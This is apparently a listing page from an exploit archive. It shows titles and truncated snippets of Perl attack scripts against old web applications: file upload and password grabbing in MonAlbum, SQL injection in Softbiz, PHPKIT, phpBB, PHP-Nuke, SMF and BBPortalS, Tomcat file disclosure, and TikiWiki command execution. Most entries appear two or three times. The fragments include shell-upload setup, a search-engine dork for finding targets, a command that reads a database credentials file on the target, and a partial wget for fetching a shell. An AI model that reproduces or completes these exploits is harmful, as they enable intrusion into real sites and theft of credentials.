MonAlbum 0.87 - Arbitrary File Upload Password Grabber

MonAlbum 0.87 - Arbitrary File Upload Password Grabber !/usr/bin/env perl use strict; use warnings; use LWP::UserAgent; use HTTP::Request::Common; use Getopt::Std; my %args, $user, $password, $sqlhost, $sqluser, $sqlpassword, $cookie, $path, $file, $upload = ; my $tmp = 'cmd1.jpg';...

MonAlbum 0.87 Upload Shell / Password Grabber Exploit

Exploit for unknown platform in category web applications ===================================================== MonAlbum 0.87 Upload Shell / Password Grabber Exploit ===================================================== !/usr/bin/env perl use strict; use warnings; use LWP::UserAgent; use...

MonAlbum 0.87 - Arbitrary File Upload / Password Grabber

!/usr/bin/env perl use strict; use warnings; use LWP::UserAgent; use HTTP::Request::Common; use Getopt::Std; my %args, $user, $password, $sqlhost, $sqluser, $sqlpassword, $cookie, $path, $file, $upload = ; my $tmp = 'cmd1.jpg'; getopts"u:a:f:p:", %args; -a don't retrieve login and passwords, use...

softbix-sql.txt

!/usr/bin/perl Softbiz Freelancers Script V.1 Multiple Remote Vulnerabilities SQL Injection Exploit/XSS AUTHOR : IRCRASH Dr.Crash Script Download : http://www.softbizscripts.com/ DORK: "Search Projects" intitle:"The ultimate project website" Our English Forum : http://ircrash.com/english/ XSS...

Softbiz Freelancers Script 1 - SQL Injection

Softbiz Freelancers Script 1 - SQL Injection !/usr/bin/perl Softbiz Freelancers Script V.1 Multiple Remote Vulnerabilities SQL Injection Exploit/XSS AUTHOR : IRCRASH Dr.Crash Script Download : http://www.softbizscripts.com/ DORK: "Search Projects" intitle:"The ultimate project website" Our Englis...

Softbiz Freelancers Script v.1 Remote SQL Injection Exploit

Exploit for unknown platform in category web applications =========================================================== Softbiz Freelancers Script v.1 Remote SQL Injection Exploit =========================================================== !/usr/bin/perl Softbiz Freelancers Script V.1 Multiple Remo...

Softbiz Freelancers Script 1 - SQL Injection

!/usr/bin/perl Softbiz Freelancers Script V.1 Multiple Remote Vulnerabilities SQL Injection Exploit/XSS AUTHOR : IRCRASH Dr.Crash Script Download : http://www.softbizscripts.com/ DORK: "Search Projects" intitle:"The ultimate project website" Our English Forum : http://ircrash.com/english/ XSS...

PHPKIT 1.6.4pl1 article.php Remote SQL Injection Exploit

Exploit for unknown platform in category web applications ======================================================== PHPKIT 1.6.4pl1 article.php Remote SQL Injection Exploit ======================================================== !/usr/bin/perl Vulnerability found & exploit written by $h4d0wl33t...

PHPKIT 1.6.4pl1 article.php Remote SQL Injection Exploit

No description provided by source. !/usr/bin/perl Vulnerability found & exploit written by $h4d0wl33t shadowleet Contact: [email protected] Phpkit 1.6.4pl1 Non Public Exploit by $hadowleet, Description: Vulnerability in file pkinc/public/article.php On line 71: $contentid=!$contentid &&...

PHPKIT 1.6.4pl1 - 'article.php' SQL Injection

!/usr/bin/perl Vulnerability found & exploit written by $h4d0wl33t shadowleet Contact: [email protected] Phpkit 1.6.4pl1 Non Public Exploit by $hadowleet, Description: Vulnerability in file pkinc/public/article.php On line 71: $contentid=!$contentid && isset$REQUEST'contentid' &&...

PHPBB links.php Remote SQL Injection

No description provided by source. ?php PHPBB links.php Remote SQL Injection By Love Fly thanks Flyh4t,Spr1t3 [email protected] www.cnsst.org / www.sebug.net =phpBB 2.022 use LWP::UserAgent; use HTTP::Request::Common; use Time::HiRes; CONFIGURAZIONE EXPLOIT $sito =...

Exploits PHP-Nuke Module Advertising Blind SQL Injection

No description provided by source. !/usr/bin/perl Product: PHP-Nuke Module Advertising BugFounder: 0x90 HomePage: WwW.0x90.COM.Ar Problem: Blind SQL Injection use strict; use warnings; use LWP; use Time::HiRes; use IO::Socket; my $host = "http://url/modules.php?name=Advertising"; my $useragent =...

SMF 1.1.3 Extremely fast Blind SQL Injection Exploit

No description provided by source. !/usr/bin/perl Written By Michael Brooks contact: th3dotr00katgmaildotcom SMF 1.1.3 Extremely fast Blind SQL Injection Exploit! -Binary Search -Multi-Threaded -NO benchmark's Two SQL Injection flaws. Works with magicquotesgpc=On or Off. Total Bypass of SMF's SQL...

smf-blind.txt

SMF is a very hardened php application. If anyone wants an example of some interesting PHP security SMF is a good place to look. Even after being able to injection SQL I had to take another step and bypass some difficult filters found in the dbquery function. Ultimately i was able to do so. This...

smf-sql.txt

!/usr/bin/perl Written By Michael Brooks contact: th3dotr00katgmaildotcom SMF 1.1.3 Extremely fast Blind SQL Injection Exploit! -Binary Search -Multi-Threaded -NO benchmark's Two SQL Injection flaws. Works with magicquotesgpc=On or Off. Total Bypass of SMF's SQL Injection filter. I submitted a...

BBPortalS 2.0 - Blind SQL Injection

BBPortalS 2.0 - Blind SQL Injection BBPortalS BBsProcesS Remote Blind SQL Injection Exploit Bug Found And Write By Max007 Exploit Tested On V.1.5.10 And V.1.6.2 And 1.5.11 info:For The Version BBPortalS 2.0 name of field is user and password but you have to find name of table !/usr/bin/perl use...

Apache Tomcat - WebDAV SSL Remote File Disclosure

Apache Tomcat - WebDAV SSL Remote File Disclosure !/usr/bin/perl ================================================================ Apache Tomcat Remote File Disclosure Zeroday Xploit - With support for SSL MoDiFiEd version by : h3rcul3s ORiGiNaL Version by : kcdarookie aka eliteb0y / 2007...

tikiwiki-exec.txt

!/usr/bin/perl TikiWiki $Id: milw0rmtikiwiki.pl,v 0.1 2007/10/12 13:25:08 str0ke Exp $ use strict; use LWP::UserAgent; my $target = shift || &usage; my $proxy = shift; my $command; &exploit$target, "cat db/local.php", $proxy; print "? php shell it?\n"; print " wget...

TikiWiki 1.9.8 - tiki-graph_formula.php Command Execution

TikiWiki 1.9.8 - tiki-graphformula.php Command Execution !/usr/bin/perl TikiWiki $Id: milw0rmtikiwiki.pl,v 0.1 2007/10/12 13:25:08 str0ke Exp $ use strict; use LWP::UserAgent; my $target = shift || &usage; my $proxy = shift; my $command; &exploit$target, "cat db/local.php", $proxy; print "? php...

TikiWiki 1.9.8 - 'tiki-graph_formula.php' Command Execution

!/usr/bin/perl TikiWiki $Id: milw0rmtikiwiki.pl,v 0.1 2007/10/12 13:25:08 str0ke Exp $ use strict; use LWP::UserAgent; my $target = shift || &usage; my $proxy = shift; my $command; &exploit$target, "cat db/local.php", $proxy; print "? php shell it?\n"; print " wget...